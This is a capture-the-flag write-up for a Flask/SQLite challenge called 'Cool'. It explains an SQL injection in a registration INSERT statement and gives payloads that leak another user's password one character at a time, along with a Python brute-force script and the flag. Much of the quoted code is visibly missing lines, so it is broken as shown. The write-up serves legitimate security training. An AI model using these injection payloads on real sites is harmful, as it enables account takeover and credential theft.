# Cool

## TL;DR

• The application allows users to register.
• The register funtionality is vulnerable to SQL injection.
• In this case, SQLi is inside the INSERT statement.
• Retriving data is non-trivial and time consuming using this type of SQLi
• And we get the flag

Looking into website we have a registration page -

On registering with an arbitary account and logging in would display the following message

The source code for the website is given. Take a look at it -

from flask import (
request,
render_template_string,
session,
redirect,
send_file
)
from random import SystemRandom
import sqlite3
import os

app.secret_key = 'IS_THIS_VULN'

rand = SystemRandom()

allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)

def execute(query):
con = sqlite3.connect('db/db.sqlite3')
cur = con.cursor()
cur.execute(query)
con.commit()
return cur.fetchall()

def generate_token():

tok = ''.join(
rand.choice(list(allowed_characters)) for _ in range(32)
)
print(tok)

if any(c not in allowed_characters for c in username):
return (False, 'Username is too short.')
return (False, 'Password is too long.')
other_users = execute(
)
if len(other_users) > 0:
execute(
)
return (True, '')

if any(c not in allowed_characters for c in username):
return False
)
return False

@app.route('/', methods=['GET', 'POST'])
error = ''
if request.method == 'POST':
)
return redirect('/message')
return redirect('/message')
return render_template_string('''
<div class="container">
<form method="POST">
</form>
<p></p>
<a href="/register">Register</a>
<div class="container">
''', error=error)

@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
success, message = create_user(
)
if success:
return redirect('/message')
return render_template_string('''
<div class="container">
<p>Register!</p>
<form method="POST">
<input type="submit" value="Register" />
</form>
<p></p>
</div>
''', error=message)

@app.route('/message')
def message():
return redirect('/')
return send_file(
'flag.mp3',
attachment_filename='flag-at-end-of-file.mp3'
)
return '''
<div class="container">
<p>You are logged in!</p>
<p>Unfortunately, Aaron's message is for cool people only.</p>
<p>(like ginkoid)</p>
<a href="/logout">Log out</a>
</div>
'''

@app.route('/logout')
def logout():
return redirect('/')
return redirect('/')

def init():
# this is terrible but who cares
execute('''
CREATE TABLE IF NOT EXISTS users (
);
''')
execute('DROP TABLE users;')
execute('''
CREATE TABLE users (
);
''')

# put ginkoid into db
execute(
)
execute(
)

app.run(debug=True)

init()


Looking at the source code above carefully, we can find that [INSERT INTO] statement in create_user. The username is whitelisted for allowed characters but not the password field. Additionally password must be less than 50 chars long.

To retrive the data using this injection is not so easy because -

• The execute funtion cannot execute multiple statements.
• And INSERT statement cannot be combined with other statements easily, to retrive data.

### Work around

So to exploit this situation, we must use something with INSERT statement.

Let’s first take a look at injection -

INSERT INTO users (username, password) values ('username', '[INJECTION POINT]');


We just need to break out of SQL syntax by injecting foo’)– in password field -

INSERT INTO users (username, password) values ('foo', 'foo')--');


With this we can confirm the SQLi, checking if user with those creds created.

So now we need to retrive the password of ginkoid to login and get the flag.

### Solution

The strategy to get the password -

• SELECT statement can be used with INSERT statement
• So we can select the fisrt character of ginkoids’s password
• Use that single char as password for new account.
• As the ginkoid’s password lies in allowed characters, we can bruteforce the character by logging into the new account.
• Once logged in, the character is noted as first char of ginkoid’s password
• We repeat the same process 32 times to get each char of password at one time

The basic injection to get first character of ginkoid’s password and stores as new account’s password -

INSERT INTO users (username, password) values ('new1', ''||(substr((select password from users),1,1)))--');


• SELECT password [FROM] users would give the first user’s password. This is used to reduce the payload size.
• Here, substr is used to select a single char of password.
• || operator is used to concatenate the character with an empty string
• -- is used to comment out the rest of the statement to get valid syntax

To automate this, i have used the following python script -

import requests

url = "https://cool.mc.ax"
allowed_characters = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)
name = "loo"

def exploit():
for i in range(1, 33):

}

if i in [10, 20, 30]:
pos = int(str(i)[0])
}

for c in allowed_characters:
}

if i in [10, 20, 30]:
pos = int(str(i)[0])
}

if len(res.text) < 600:
break

else:

exploit()


Run the above script to get the password. Password randomly changes after every restart. Here is the output password generated by the exploit code -

Login to ginkoid account and you will get an mp3 file with flag.

flag-at-end-of-file.mp3

Run the following command to get the flag -

tail -1 flag-at-end-of-file.mp3


## Flag

flag{44r0n_s4ys_s08r137y_1s_c00l}

## Takeaways

• Look at all the parameters to check if they are injecteble.
• Try exploiting the vulnerablity in different ways to get more impact.

Happy Hacking!

Feel free to provide feedback.